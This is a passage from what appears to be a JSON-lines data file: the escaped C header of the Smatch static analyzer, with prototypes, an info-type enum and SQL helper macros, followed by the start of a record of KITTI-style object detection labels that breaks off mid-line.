= ULONG_MAX - 4095},\n};\nstatic const sval_t fn_ptr_min = {\n\t.type = &ptr_ctype,\n\t{.value = 4096},\n};\nstatic const sval_t fn_ptr_max = {\n\t.type = &ptr_ctype,\n\t{.value = ULONG_MAX - 4095},\n};\n\nchar *get_other_name_sym(const char *name, struct symbol *sym, struct symbol **new_sym);\nchar *map_call_to_other_name_sym(const char *name, struct symbol *sym, struct symbol **new_sym);\nchar *map_long_to_short_name_sym(const char *name, struct symbol *sym, struct symbol **new_sym, bool use_stack);\n\n#define STRLEN_MAX_RET 1010101\n\n/* smatch_absolute.c */\nint get_absolute_min_helper(struct expression *expr, sval_t *sval);\nint get_absolute_max_helper(struct expression *expr, sval_t *sval);\n\n/* smatch_type_value.c */\nint get_db_type_rl(struct expression *expr, struct range_list **rl);\n/* smatch_data_val.c */\nint get_mtag_rl(struct expression *expr, struct range_list **rl);\n/* smatch_array_values.c */\nint get_array_rl(struct expression *expr, struct range_list **rl);\n\n/* smatch_states.c */\nstruct stree *__swap_cur_stree(struct stree *stree);\nvoid __push_fake_cur_stree();\nstruct stree *__pop_fake_cur_stree();\nvoid __free_fake_cur_stree();\nvoid __set_fake_cur_stree_fast(struct stree *stree);\nvoid __pop_fake_cur_stree_fast(void);\nvoid __merge_stree_into_cur(struct stree *stree);\n\nint unreachable(void);\nvoid __set_cur_stree_readonly(void);\nvoid __set_cur_stree_writable(void);\nvoid __set_sm(struct sm_state *sm);\nvoid __set_sm_cur_stree(struct sm_state *sm);\nvoid __set_sm_fake_stree(struct sm_state *sm);\nvoid __set_true_false_sm(struct sm_state *true_state,\n\t\t\tstruct sm_state *false_state);\nvoid nullify_path(void);\nvoid __match_nullify_path_hook(const char *fn, struct expression *expr,\n\t\t\t void *unused);\nvoid __unnullify_path(void);\nint __path_is_null(void);\nvoid save_all_states(void);\nvoid restore_all_states(void);\nvoid free_goto_stack(void);\nvoid clear_all_states(void);\n\nstruct sm_state *get_sm_state(int owner, const char *name,\n\t\t\t\tstruct symbol *sym);\nstruct sm_state *get_sm_state_expr(int owner, struct expression *expr);\nvoid __push_true_states(void);\nvoid __use_false_states(void);\nvoid __discard_false_states(void);\nvoid __merge_false_states(void);\nvoid __merge_true_states(void);\n\nvoid __negate_cond_stacks(void);\nvoid __use_pre_cond_states(void);\nvoid __use_cond_true_states(void);\nvoid __use_cond_false_states(void);\nvoid __push_cond_stacks(void);\nvoid __fold_in_set_states(void);\nvoid __free_set_states(void);\nstruct stree *__copy_cond_true_states(void);\nstruct stree *__copy_cond_false_states(void);\nstruct stree *__pop_cond_true_stack(void);\nstruct stree *__pop_cond_false_stack(void);\nvoid __and_cond_states(void);\nvoid __or_cond_states(void);\nvoid __save_pre_cond_states(void);\nvoid __discard_pre_cond_states(void);\nstruct stree *__get_true_states(void);\nstruct stree *__get_false_states(void);\nvoid __use_cond_states(void);\nextern struct state_list *__last_base_slist;\n\nvoid __push_continues(void);\nvoid __discard_continues(void);\nvoid __process_continues(void);\nvoid __merge_continues(void);\n\nvoid __push_breaks(void);\nvoid __process_breaks(void);\nint __has_breaks(void);\nvoid __merge_breaks(void);\nvoid __use_breaks(void);\n\nvoid __save_switch_states(struct expression *switch_expr);\nvoid __discard_switches(void);\nint have_remaining_cases(void);\nvoid __merge_switches(struct expression *switch_expr, struct range_list *case_rl);\nvoid __push_default(void);\nvoid __set_default(void);\nint __pop_default(void);\n\nvoid __push_conditions(void);\nvoid __discard_conditions(void);\n\nvoid __save_gotos(const char *name, struct symbol *sym);\nvoid __merge_gotos(const char *name, struct symbol *sym);\n\nvoid __print_cur_stree(void);\nbool __print_states(const char *owner);\ntypedef void (check_tracker_hook)(int owner, const char *name, struct symbol *sym, struct smatch_state *state);\nvoid add_check_tracker(const char *check_name, check_tracker_hook *fn);\n\n/* smatch_hooks.c */\nvoid __pass_to_client(void *data, enum hook_type type);\nvoid __pass_case_to_client(struct expression *switch_expr,\n\t\t\t struct range_list *rl);\nint __has_merge_function(int client_id);\nstruct smatch_state *__client_merge_function(int owner,\n\t\t\t\t\t struct smatch_state *s1,\n\t\t\t\t\t struct smatch_state *s2);\nstruct smatch_state *__client_unmatched_state_function(struct sm_state *sm);\nvoid call_pre_merge_hook(struct sm_state *cur, struct sm_state *other);\nvoid __push_scope_hooks(void);\nvoid __call_scope_hooks(void);\n\n/* smatch_function_hooks.c */\nvoid create_function_hook_hash(void);\nvoid __match_initializer_call(struct symbol *sym);\n\n/* smatch_db.c */\nenum info_type {\n\tINTERNAL\t= 0,\n\t/*\n\t * Changing these numbers is a pain. Don't do it. If you ever use a\n\t * number it can't be re-used right away so there may be gaps.\n\t * We select these in order by type so if the order matters, then give\n\t * it a number below 100-999,9000-9999 ranges. */\n\n\tPARAM_CLEARED\t= 101,\n\tPARAM_LIMIT\t= 103,\n\tPARAM_FILTER\t= 104,\n\n\tPARAM_VALUE\t= 1001,\n\tBUF_SIZE\t= 1002,\n\tCAPPED_DATA\t= 1004,\n\tRETURN_VALUE\t= 1005,\n\tDEREFERENCE\t= 1006,\n\tRANGE_CAP\t= 1007,\n\tABSOLUTE_LIMITS\t= 1010,\n\tPARAM_ADD\t= 1012,\n\tPARAM_FREED\t= 1013,\n\tDATA_SOURCE\t= 1014,\n\tFUZZY_MAX\t= 1015,\n\tHARD_MAX\t= 2015,\n\tSTR_LEN\t\t= 1016,\n\tARRAY_LEN\t= 1017,\n\tCAPABLE\t\t= 1018,\n\tNS_CAPABLE\t= 1019,\n\tCONTAINER\t= 1020,\n\tCASTED_CALL\t= 1021,\n\tTYPE_LINK\t= 1022,\n\tUNTRACKED_PARAM = 1023,\n\tLOST_PARAM\t= 2023,\n\tCULL_PATH\t= 1024,\n\tPARAM_SET\t= 1025,\n\tPARAM_USED\t= 1026,\n\tBYTE_UNITS = 1027,\n\tCOMPARE_LIMIT\t= 1028,\n\tPARAM_COMPARE\t= 1029,\n\tCONSTRAINT\t= 1031,\n\tPASSES_TYPE\t= 1032,\n\tCONSTRAINT_REQUIRED = 1033,\n\tBIT_INFO\t= 1034,\n\tNOSPEC\t\t= 1035,\n\tNOSPEC_WB\t= 1036,\n\tSTMT_CNT\t= 1037,\n\tTERMINATED\t= 1038,\n\tFRESH_ALLOC\t= 1044,\n\tALLOCATOR\t= 1045,\n\n\t/* put random temporary stuff in the 7000-7999 range for testing */\n\tUSER_DATA\t= 8017,\n\tUSER_DATA_SET\t= 9017,\n\tNO_OVERFLOW\t= 8018,\n\tNO_OVERFLOW_SIMPLE = 8019,\n\tLOCKED\t\t= 8020,\n\tUNLOCKED\t= 8021,\n\tHALF_LOCKED\t= 9022,\n\tLOCK_RESTORED\t= 9023,\n\tKNOWN_LOCKED\t= 9024,\n\tKNOWN_UNLOCKED \t= 9025,\n\tSET_FS\t\t= 8022,\n\tATOMIC_INC\t= 8023,\n\tATOMIC_DEC\t= 8024,\n\tREFCOUNT\t= 9025,\n\tNO_SIDE_EFFECT = 8025,\n\tFN_ARG_LINK\t= 8028,\n\tDATA_VALUE\t= 8029,\n\tARRAYSIZE_ARG\t= 8033,\n\tSIZEOF_ARG\t= 8034,\n\tMEMORY_TAG\t= 8036,\n\tMTAG_ASSIGN\t= 8035,\n\tSTRING_VALUE\t= 8041,\n\n\tBYTE_COUNT\t= 8050,\n\tELEM_COUNT\t= 8051,\n\tELEM_LAST\t= 8052,\n\tUSED_LAST\t= 8053,\n\tUSED_COUNT\t= 8054,\n};\n\nextern struct sqlite3 *smatch_db;\nextern struct sqlite3 *mem_db;\nextern struct sqlite3 *cache_db;\n\nvoid db_ignore_states(int id);\nvoid select_caller_info_hook(void (*callback)(const char *name, struct symbol *sym, char *key, char *value), int type);\nvoid add_member_info_callback(int owner, void (*callback)(struct expression *call, int param, char *printed_name, struct sm_state *sm));\nvoid add_caller_info_callback(int owner, void (*callback)(struct expression *call, int param, char *printed_name, struct sm_state *sm));\nvoid add_split_return_callback(void (*fn)(int return_id, char *return_ranges, struct expression *returned_expr));\nvoid add_returned_member_callback(int owner, void (*callback)(int return_id, char *return_ranges, struct expression *expr, char *printed_name, struct smatch_state *state));\nvoid select_call_implies_hook(int type, void (*callback)(struct expression *call, struct expression *arg, char *key, char *value));\nvoid select_return_implies_hook(int type, void (*callback)(struct expression *call, struct expression *arg, char *key, char *value));\nstruct range_list *db_return_vals(struct expression *expr);\nstruct range_list *db_return_vals_from_str(const char *fn_name);\nstruct range_list *db_return_vals_no_args(struct expression *expr);\nchar *return_state_to_var_sym(struct expression *expr, int param, const char *key, struct symbol **sym);\nchar *get_chunk_from_key(struct expression *arg, char *key, struct symbol **sym, struct var_sym_list **vsl);\nchar *get_variable_from_key(struct expression *arg, const char *key, struct symbol **sym);\nconst char *state_name_to_param_name(const char *state_name, const char *param_name);\nconst char *get_param_name_var_sym(const char *name, struct symbol *sym);\nconst char *get_param_name(struct sm_state *sm);\nconst char *get_mtag_name_var_sym(const char *state_name, struct symbol *sym);\nconst char *get_mtag_name_expr(struct expression *expr);\nchar *get_data_info_name(struct expression *expr);\nchar *sm_to_arg_name(struct expression *expr, struct sm_state *sm);\nint is_recursive_member(const char *param_name);\n\nchar *escape_newlines(const char *str);\nvoid sql_exec(struct sqlite3 *db, int (*callback)(void*, int, char**, char**), void *data, const char *sql);\n\n#define sql_helper(db, call_back, data, sql...)\t\t\t\t\t\\\ndo {\t\t\t\t\t\t\t\t\t\t\\\n\tchar sql_txt[1024];\t\t\t\t\t\t\t\\\n\t\t\t\t\t\t\t\t\t\t\\\n\tsqlite3_snprintf(sizeof(sql_txt), sql_txt, sql);\t\t\t\\\n\tdb_debug(\"debug: %s\\n\", sql_txt);\t\t\t\t\t\\\n\tsql_exec(db, call_back, data, sql_txt);\t\t\t\t\t\\\n} while (0)\n\n\n#define run_sql(call_back, data, sql...)\t\t\t\t\t\\\ndo {\t\t\t\t\t\t\t\t\t\t\\\n\tif (option_no_db)\t\t\t\t\t\t\t\\\n\t\tbreak;\t\t\t\t\t\t\t\t\\\n\tsql_helper(smatch_db, call_back, data, sql);\t\t\t\t\\\n} while (0)\n\n#define mem_sql(call_back, data, sql...)\t\t\t\t\t\\\n\tsql_helper(mem_db, call_back, data, sql)\n\n#define cache_sql(call_back, data, sql...)\t\t\t\t\t\\\n\tsql_helper(cache_db, call_back, data, sql)\n\n#define sql_insert_helper(table, db, ignore, late, values...)\t\t\t\\\ndo {\t\t\t\t\t\t\t\t\t\t\\\n\tstruct sqlite3 *_db = db;\t\t\t\t\t\t\\\n\t\t\t\t\t\t\t\t\t\t\\\n\tif (__inline_fn && !_db)\t\t\t\t\t\t\\\n\t\t_db = mem_db;\t\t\t\t\t\t\t\\\n\tif (_db) {\t\t\t\t\t\t\t\t\\\n\t\tchar buf[1024];\t\t\t\t\t\t\t\\\n\t\tchar *err, *p = buf;\t\t\t\t\t\t\\\n\t\tint rc;\t\t\t\t\t\t\t\t\\\n\t\t\t\t\t\t\t\t\t\t\\\n\t\tp += snprintf(p, buf + sizeof(buf) - p,\t\t\t\t\\\n\t\t\t \"insert %sinto %s values (\",\t\t\t\\\n\t\t\t ignore ? \"or ignore \" : \"\", #table);\t\t\\\n\t\tp += snprintf(p, buf + sizeof(buf) - p, values);\t\t\\\n\t\tp += snprintf(p, buf + sizeof(buf) - p, \");\");\t\t\t\\\n\t\tdb_debug(\"mem-db: %s\\n\", buf);\t\t\t\t\t\\\n\t\trc = sqlite3_exec(_db, buf, NULL, NULL, &err);\t\t\t\\\n\t\tif (rc != SQLITE_OK) {\t\t\t\t\t\t\\\n\t\t\tsm_ierror(\"SQL error #2: %s\", err);\t\t\t\\\n\t\t\tsm_ierror(\"SQL: '%s'\", buf);\t\t\t\t\\\n\t\t\tparse_error = 1;\t\t\t\t\t\\\n\t\t}\t\t\t\t\t\t\t\t\\\n\t\tbreak;\t\t\t\t\t\t\t\t\\\n\t}\t\t\t\t\t\t\t\t\t\\\n\tif (option_info) {\t\t\t\t\t\t\t\\\n\t\tFILE *tmp_fd = sm_outfd;\t\t\t\t\t\\\n\t\tsm_outfd = sql_outfd;\t\t\t\t\t\t\\\n\t\tsm_prefix();\t\t\t\t\t\t\t\\\n\t sm_printf(\"SQL%s: insert %sinto \" #table \" values(\",\t\t\\\n\t\t\t late ? \"_late\" : \"\", ignore ? \"or ignore \" : \"\");\t\\\n\t sm_printf(values);\t\t\t\t\t\t\\\n\t sm_printf(\");\\n\");\t\t\t\t\t\t\\\n\t\tsm_outfd = tmp_fd;\t\t\t\t\t\t\\\n\t}\t\t\t\t\t\t\t\t\t\\\n} while (0)\n\n#define sql_insert(table, values...) sql_insert_helper(table, 0, 0, 0, values);\n#define sql_insert_or_ignore(table, values...) sql_insert_helper(table, 0, 1, 0, values);\n#define sql_insert_late(table, values...) sql_insert_helper(table, 0, 0, 1, values);\n#define sql_insert_cache(table, values...) sql_insert_helper(table, cache_db, 1, 0, values);\n\nchar *get_static_filter(struct symbol *sym);\n\nvoid sql_insert_return_states(int return_id, const char *return_ranges,\n\t\tint type, int param, const char *key, const char *value);\nvoid sql_insert_caller_info(struct expression *call, int type, int param,\n\t\tconst char *key, const char *value);\nvoid sql_insert_function_ptr(const char *fn, const char *struct_name);\nvoid sql_insert_return_values(const char *return_values);\nvoid sql_insert_return_implies(int type, int param, const char *key, const char *value);\nvoid sql_insert_function_type_size(const char *member, const char *ranges);\nvoid sql_insert_function_type_info(int type, const char *struct_type, const char *member, const char *value);\nvoid sql_insert_type_info(int type, const char *member, const char *value);\nvoid sql_insert_local_values(const char *name, const char *value);\nvoid sql_insert_function_type_value(const char *type, const char *value);\nvoid sql_insert_function_type(int param, const char *value);\nvoid sql_insert_parameter_name(int param, const char *value);\nvoid sql_insert_data_info(struct expression *data, int type, const char *value);\nvoid sql_insert_data_info_var_sym(const char *var, struct symbol *sym, int type, const char *value);\nvoid sql_save_constraint(const char *con);\nvoid sql_save_constraint_required(const char *data, int op, const char *limit);\nvoid sql_copy_constraint_required(const char *new_limit, const char *old_limit);\nvoid sql_insert_fn_ptr_data_link(const char *ptr, const char *data);\nvoid sql_insert_fn_data_link(struct expression *fn, int type, int param, const char *key, const char *value);\nvoid sql_insert_mtag_about(mtag_t tag, const char *left_name, const char *right_name);\nvoid sql_insert_mtag_info(mtag_t tag, int type, const char *value);\nvoid sql_insert_mtag_map(mtag_t container, int container_offset, mtag_t tag, int tag_offset);\nvoid sql_insert_mtag_alias(mtag_t orig, mtag_t alias);\nint mtag_map_select_container(mtag_t tag, int container_offset, mtag_t *container);\nint mtag_map_select_tag(mtag_t container, int offset, mtag_t *tag);\nstruct smatch_state *get_mtag_return(struct expression *expr, struct smatch_state *state);\nstruct range_list *swap_mtag_seed(struct expression *expr, struct range_list *rl);\n\nvoid sql_select_return_states(const char *cols, struct expression *call,\n\tint (*callback)(void*, int, char**, char**), void *info);\nvoid sql_select_call_implies(const char *cols, struct expression *call,\n\tint (*callback)(void*, int, char**, char**));\n\nvoid open_smatch_db(char *db_file);\n\n/* smatch_files.c */\nint open_data_file(const char *filename);\nint open_schema_file(const char *schema);\nstruct token *get_tokens_file(const char *filename);\n\n/* smatch.c */\nextern char *option_debug_check;\nextern char *option_project_str;\nextern char *bin_dir;\nextern char *data_dir;\nextern int option_no_data;\nextern int option_full_path;\nextern int option_call_tree;\nextern int num_checks;\n\nenum project_type {\n\tPROJ_NONE,\n\tPROJ_KERNEL,\n\tPROJ_WINE,\n\tPROJ_ILLUMOS_KERNEL,\n\tPROJ_ILLUMOS_USER,\n\tPROJ_UNKNOWN,\n};\nextern enum project_type option_project;\nconst char *check_name(unsigned short id);\nint id_from_name(const char *name);\n\n\n/* smatch_buf_size.c */\nint get_array_size(struct expression *expr);\nint get_array_size_bytes(struct expression *expr);\nint get_array_size_bytes_min(struct expression *expr);\nint get_array_size_bytes_max(struct expression *expr);\nstruct range_list *get_array_size_bytes_rl(struct expression *expr);\nint get_real_array_size(struct expression *expr);\nint last_member_is_resizable(struct symbol *type);\n/* smatch_strlen.c */\nint get_implied_strlen(struct expression *expr, struct range_list **rl);\nint get_size_from_strlen(struct expression *expr);\n\n/* smatch_capped.c */\nint is_capped(struct expression *expr);\nint is_capped_var_sym(const char *name, struct symbol *sym);\n\n/* check_user_data.c */\nint is_user_macro(struct expression *expr);\nint is_capped_user_data(struct expression *expr);\nint implied_user_data(struct expression *expr, struct range_list **rl);\nstruct stree *get_user_stree(void);\nint get_user_rl(struct expression *expr, struct range_list **rl);\nint is_user_rl(struct expression *expr);\nint get_user_rl_var_sym(const char *name, struct symbol *sym, struct range_list **rl);\nbool user_rl_capped(struct expression *expr);\nstruct range_list *var_user_rl(struct expression *expr);\n\n/* check_locking.c */\nvoid print_held_locks();\n\n/* check_assigned_expr.c */\nextern int check_assigned_expr_id;\nstruct expression *get_assigned_expr(struct expression *expr);\nstruct expression *get_assigned_expr_name_sym(const char *name, struct symbol *sym);\n/* smatch_return_to_param.c */\nvoid __add_return_to_param_mapping(struct expression *assign, const char *return_string);\nchar *map_call_to_param_name_sym(struct expression *expr, struct symbol **sym);\n\n/* smatch_comparison.c */\nextern int comparison_id;\n#define UNKNOWN_COMPARISON 0\n#define IMPOSSIBLE_COMPARISON -1\nstruct compare_data {\n\t/* The ->left and ->right expression pointers might be NULL (I'm lazy) */\n\tstruct expression *left;\n\tconst char *left_var;\n\tstruct var_sym_list *left_vsl;\n\tint comparison;\n\tstruct expression *right;\n\tconst char *right_var;\n\tstruct var_sym_list *right_vsl;\n};\nDECLARE_ALLOCATOR(compare_data);\nstruct smatch_state *alloc_compare_state(\n\t\tstruct expression *left,\n\t\tconst char *left_var, struct var_sym_list *left_vsl,\n\t\tint comparison,\n\t\tstruct expression *right,\n\t\tconst char *right_var, struct var_sym_list *right_vsl);\nint comparison_intersection(int orig, int op);\nint merge_comparisons(int one, int two);\nint combine_comparisons(int left_compare, int right_compare);\nint state_to_comparison(struct smatch_state *state);\nstruct smatch_state *merge_compare_states(struct smatch_state *s1, struct smatch_state *s2);\nint get_comparison(struct expression *left, struct expression *right);\nint get_comparison_no_extra(struct expression *a, struct expression *b);\nint get_comparison_strings(const char *one, const char *two);\nint possible_comparison(struct expression *a, int comparison, struct expression *b);\nstruct state_list *get_all_comparisons(struct expression *expr);\nstruct state_list *get_all_possible_equal_comparisons(struct expression *expr);\nvoid __add_return_comparison(struct expression *call, const char *range);\nvoid __add_comparison_info(struct expression *expr, struct expression *call, const char *range);\nchar *get_printed_param_name(struct expression *call, const char *param_name, struct symbol *param_sym);\nchar *name_sym_to_param_comparison(const char *name, struct symbol *sym);\nchar *expr_equal_to_param(struct expression *expr, int ignore);\nchar *expr_lte_to_param(struct expression *expr, int ignore);\nchar *expr_param_comparison(struct expression *expr, int ignore);\nint flip_comparison(int op);\nint negate_comparison(int op);\nint remove_unsigned_from_comparison(int op);\nint param_compare_limit_is_impossible(struct expression *expr, int left_param, char *left_key, char *value);\nvoid filter_by_comparison(struct range_list **rl, int comparison, struct range_list *right);\nvoid __compare_param_limit_hook(struct expression *left_expr, struct expression *right_expr,\n\t\t\t\tconst char *state_name,\n\t\t\t\tstruct smatch_state *true_state, struct smatch_state *false_state);\nint impossibly_high_comparison(struct expression *expr);\n\n/* smatch_sval.c */\nsval_t *sval_alloc(sval_t sval);\nsval_t *sval_alloc_permanent(sval_t sval);\nsval_t sval_blank(struct expression *expr);\nsval_t sval_type_val(struct symbol *type, long long val);\nsval_t sval_type_fval(struct symbol *type, long double fval);\nsval_t sval_from_val(struct expression *expr, long long val);\nsval_t sval_from_fval(struct expression *expr, long double fval);\nint sval_is_ptr(sval_t sval);\nbool sval_is_fp(sval_t sval);\nint sval_unsigned(sval_t sval);\nint sval_signed(sval_t sval);\nint sval_bits(sval_t sval);\nint sval_bits_used(sval_t sval);\nint sval_is_negative(sval_t sval);\nint sval_is_positive(sval_t sval);\nint sval_is_min(sval_t sval);\nint sval_is_max(sval_t sval);\nint sval_is_a_min(sval_t sval);\nint sval_is_a_max(sval_t sval);\nint sval_is_negative_min(sval_t sval);\nint sval_cmp_t(struct symbol *type, sval_t one, sval_t two);\nint sval_cmp_val(sval_t one, long long val);\nsval_t sval_min(sval_t one, sval_t two);\nsval_t sval_max(sval_t one, sval_t two);\nint sval_too_low(struct symbol *type, sval_t sval);\nint sval_too_high(struct symbol *type, sval_t sval);\nint sval_fits(struct symbol *type, sval_t sval);\nsval_t sval_cast(struct symbol *type, sval_t sval);\nsval_t sval_preop(sval_t sval, int op);\nsval_t sval_binop(sval_t left, int op, sval_t right);\nint sval_binop_overflows(sval_t left, int op, sval_t right);\nint sval_binop_overflows_no_sign(sval_t left, int op, sval_t right);\nint find_first_zero_bit(unsigned long long uvalue);\nint sm_fls64(unsigned long long uvalue);\nunsigned long long fls_mask(unsigned long long uvalue);\nunsigned long long sval_fls_mask(sval_t sval);\nconst char *sval_to_str(sval_t sval);\nconst char *sval_to_str_or_err_ptr(sval_t sval);\nconst char *sval_to_numstr(sval_t sval);\nsval_t ll_to_sval(long long val);\n\n/* smatch_string_list.c */\nint list_has_string(struct string_list *str_list, const char *str);\nint insert_string(struct string_list **str_list, const char *str);\nstruct string_list *clone_str_list(struct string_list *orig);\nstruct string_list *combine_string_lists(struct string_list *one, struct string_list *two);\n\n/* smatch_start_states.c */\nstruct stree *get_start_states(void);\n\n/* smatch_recurse.c */\nint has_symbol(struct expression *expr, struct symbol *sym);\nint has_variable(struct expression *expr, struct expression *var);\nint has_inc_dec(struct expression *expr);\n\n/* smatch_stored_conditions.c */\nstruct smatch_state *get_stored_condition(struct expression *expr);\nstruct expression_list *get_conditions(struct expression *expr);\nstruct sm_state *stored_condition_implication_hook(struct expression *expr,\n\t\t\tstruct state_list **true_stack,\n\t\t\tstruct state_list **false_stack);\n/* smatch_parsed_conditions.c */\nstruct sm_state *parsed_condition_implication_hook(struct expression *expr,\n\t\t\tstruct state_list **true_stack,\n\t\t\tstruct state_list **false_stack);\n/* smatch_comparison.c */\nstruct sm_state *comparison_implication_hook(struct expression *expr,\n\t\t\t\t\t struct state_list **true_stack,\n\t\t\t\t\t struct state_list **false_stack);\n\n/* check_string_len.c */\nint get_formatted_string_size(struct expression *call, int arg);\nint get_formatted_string_min_size(struct expression *call, int arg);\n\n/* smatch_param_set.c */\nint param_was_set(struct expression *expr);\nint param_was_set_var_sym(const char *name, struct symbol *sym);\nvoid print_limited_param_set(int return_id, char *return_ranges, struct expression *expr);\n/* smatch_param_filter.c */\nint param_has_filter_data(struct sm_state *sm);\n\n/* smatch_links.c */\nvoid set_up_link_functions(int id, int linkid);\nstruct smatch_state *merge_link_states(struct smatch_state *s1, struct smatch_state *s2);\nvoid store_link(int link_id, const char *name, struct symbol *sym, const char *link_name, struct symbol *link_sym);\n\n/* check_buf_comparison */\nconst char *limit_type_str(unsigned int limit_type);\nstruct expression *get_size_variable(struct expression *buf, int *limit_type);\nstruct expression *get_array_variable(struct expression *size);\nint buf_comparison_index_ok(struct expression *expr);\n\n/* smatch_untracked_param.c */\nvoid mark_untracked(struct expression *expr, int param, const char *key, const char *value);\nvoid add_untracked_param_hook(void (func)(struct expression *call, int param));\nvoid add_lost_param_hook(void (func)(struct expression *call, int param));\nvoid mark_all_params_untracked(int return_id, char *return_ranges, struct expression *expr);\n\n/* smatch_strings.c */\nstruct state_list *get_strings(struct expression *expr);\nstruct expression *fake_string_from_mtag(mtag_t tag);\n\n/* smatch_estate.c */\nint estate_get_single_value(struct smatch_state *state, sval_t *sval);\n\n/* smatch_address.c */\nint get_address_rl(struct expression *expr, struct range_list **rl);\nint get_member_offset(struct symbol *type, const char *member_name);\nint get_member_offset_from_deref(struct expression *expr);\n\n/* for now this is in smatch_used_parameter.c */\nvoid __get_state_hook(int owner, const char *name, struct symbol *sym);\n\n/* smatch_buf_comparison.c */\nint db_var_is_array_limit(struct expression *array, const char *name, struct var_sym_list *vsl);\n\nstruct range_list *get_fs(void);\n\nstruct stree *get_all_return_states(void);\nstruct stree_stack *get_all_return_strees(void);\nint on_atomic_dec_path(void);\nint was_inced(const char *name, struct symbol *sym);\nvoid set_refcount_inc(char *name, struct symbol *sym);\nvoid set_refcount_dec(char *name, struct symbol *sym);\n\n/* smatch_constraints.c */\nchar *get_constraint_str(struct expression *expr);\nstruct constraint_list *get_constraints(struct expression *expr);\nchar *unmet_constraint(struct expression *data, struct expression *offset);\nchar *get_required_constraint(const char *data_str);\n\n/* smatch_container_of.c */\nint get_param_from_container_of(struct expression *expr);\nint get_offset_from_container_of(struct expression *expr);\nchar *get_container_name(struct expression *container, struct expression *expr);\n\n/* smatch_mtag.c */\nmtag_t str_to_mtag(const char *str);\nint get_string_mtag(struct expression *expr, mtag_t *tag);\nint get_toplevel_mtag(struct symbol *sym, mtag_t *tag);\nint create_mtag_alias(mtag_t tag, struct expression *expr, mtag_t *new);\nint expr_to_mtag_offset(struct expression *expr, mtag_t *tag, int *offset);\nvoid update_mtag_data(struct expression *expr, struct smatch_state *state);\nint get_mtag_sval(struct expression *expr, sval_t *sval);\n\n/* Trinity fuzzer stuff */\nconst char *get_syscall_arg_type(struct symbol *sym);\n\n/* smatch_bit_info.c */\nstruct bit_info *rl_to_binfo(struct range_list *rl);\nstruct bit_info *get_bit_info(struct expression *expr);\nstruct bit_info *get_bit_info_var_sym(const char *name, struct symbol *sym);\n/* smatch_mem_tracker.c */\nextern int option_mem;\nunsigned long get_mem_kb(void);\nunsigned long get_max_memory(void);\n\n/* check_is_nospec.c */\nbool is_nospec(struct expression *expr);\nlong get_stmt_cnt(void);\n\n/* smatch_nul_terminator.c */\nbool is_nul_terminated_var_sym(const char *name, struct symbol *sym);\nbool is_nul_terminated(struct expression *expr);\n/* check_kernel.c */\nbool is_ignored_kernel_data(const char *name);\n\nbool is_fresh_alloc_var_sym(const char *var, struct symbol *sym);\nbool is_fresh_alloc(struct expression *expr);\nstatic inline bool type_is_ptr(struct symbol *type)\n{\n\treturn type &&\n\t (type->type == SYM_PTR ||\n\t\ttype->type == SYM_ARRAY ||\n\t\ttype->type == SYM_FN);\n}\n\nstatic inline bool type_is_fp(struct symbol *type)\n{\n\treturn type &&\n\t (type == &float_ctype ||\n\t\ttype == &double_ctype ||\n\t\ttype == &ldouble_ctype);\n}\n\nstatic inline int type_bits(struct symbol *type)\n{\n\tif (!type)\n\t\treturn 0;\n\tif (type_is_ptr(type))\n\t\treturn bits_in_pointer;\n\tif (!type->examined)\n\t\texamine_symbol_type(type);\n\treturn type->bit_size;\n}\n\nstatic inline int type_unsigned(struct symbol *base_type)\n{\n\tif (!base_type)\n\t\treturn 0;\n\tif (is_ptr_type(base_type))\n\t\treturn 1;\n\tif (base_type->ctype.modifiers & MOD_UNSIGNED)\n\t\treturn 1;\n\treturn 0;\n}\n\nstatic inline int type_positive_bits(struct symbol *type)\n{\n\tif (!type)\n\t\treturn 0;\n\tif (is_ptr_type(type))\n\t\treturn bits_in_pointer;\n\tif (type_unsigned(type))\n\t\treturn type_bits(type);\n\treturn type_bits(type) - 1;\n}\n\nstatic inline int sval_positive_bits(sval_t sval)\n{\n\treturn type_positive_bits(sval.type);\n}\n\n/*\n * Returns -1 if one is smaller, 0 if they are the same and 1 if two is larger.\n */\n\nstatic inline int fp_cmp(sval_t one, sval_t two)\n{\n\tstruct symbol *type;\n\n\tif (sval_is_fp(one) && sval_is_fp(two))\n\t\ttype = type_bits(one.type) > type_bits(two.type) ? one.type : two.type;\n\telse if (sval_is_fp(one))\n\t\ttype = one.type;\n\telse\n\t\ttype = two.type;\n\n\tone = sval_cast(type, one);\n\ttwo = sval_cast(type, two);\n\n\tif (one.type == &float_ctype) {\n\t\tif (one.fvalue < two.fvalue)\n\t\t\treturn -1;\n\t\tif (one.fvalue == two.fvalue)\n\t\t\treturn 0;\n\t\treturn 1;\n\t}\n\tif (one.type == &double_ctype) {\n\t\tif (one.dvalue < two.dvalue)\n\t\t\treturn -1;\n\t\tif (one.dvalue == two.dvalue)\n\t\t\treturn 0;\n\t\treturn 1;\n\t}\n\tif (one.type == &ldouble_ctype) {\n\t\tif (one.ldvalue < two.ldvalue)\n\t\t\treturn -1;\n\t\tif (one.ldvalue == two.ldvalue)\n\t\t\treturn 0;\n\t\treturn 1;\n\t}\n\tsm_perror(\"bad type in fp_cmp(): %s\", type_to_str(type));\n\treturn 1;\n}\n\nstatic inline int sval_cmp(sval_t one, sval_t two)\n{\n\tstruct symbol *type;\n\n\tif (sval_is_fp(one) || sval_is_fp(two))\n\t\treturn fp_cmp(one, two);\n\n\ttype = one.type;\n\tif (sval_positive_bits(two) > sval_positive_bits(one))\n\t\ttype = two.type;\n\tif (type_bits(type) < 31)\n\t\ttype = &int_ctype;\n\n\tone = sval_cast(type, one);\n\ttwo = sval_cast(type, two);\n\n\tif (type_unsigned(type)) {\n\t\tif (one.uvalue < two.uvalue)\n\t\t\treturn -1;\n\t\tif (one.uvalue == two.uvalue)\n\t\t\treturn 0;\n\t\treturn 1;\n\t}\n\t/* fix me handle type promotion and unsigned values */\n\tif (one.value < two.value)\n\t\treturn -1;\n\tif (one.value == two.value)\n\t\treturn 0;\n\treturn 1;\n}\n\n#endif \t /* !SMATCH_H_ */\n"} {"text": "Pedestrian 0.00 1 -2.1090423623707633 739.53 173.78 750.19 212.04 1.7514116609845114 0.6551889040780139 0.8671696191439533 5.95 1.79 33.35 -1.9324891806287723 0.89591587\nCar 0.47 3 1.9792803088810782 0.00 189.30 113.74 266.56 1.4412401024071884 1.6723911625058794 4.101918282114067 -13.92 2.02 16.98 1.2925894446851043 0.9947417\nCar 0.00 0 1.8675513128426413 316.83 181.03 378.52 211.91 1.5364463258354377 1.686655259943142 3.9644804095254327 -14.25 2.04 39.33 1.5199444530867394 0.9999999\nDontCare -1 -1 1.4559970731523375 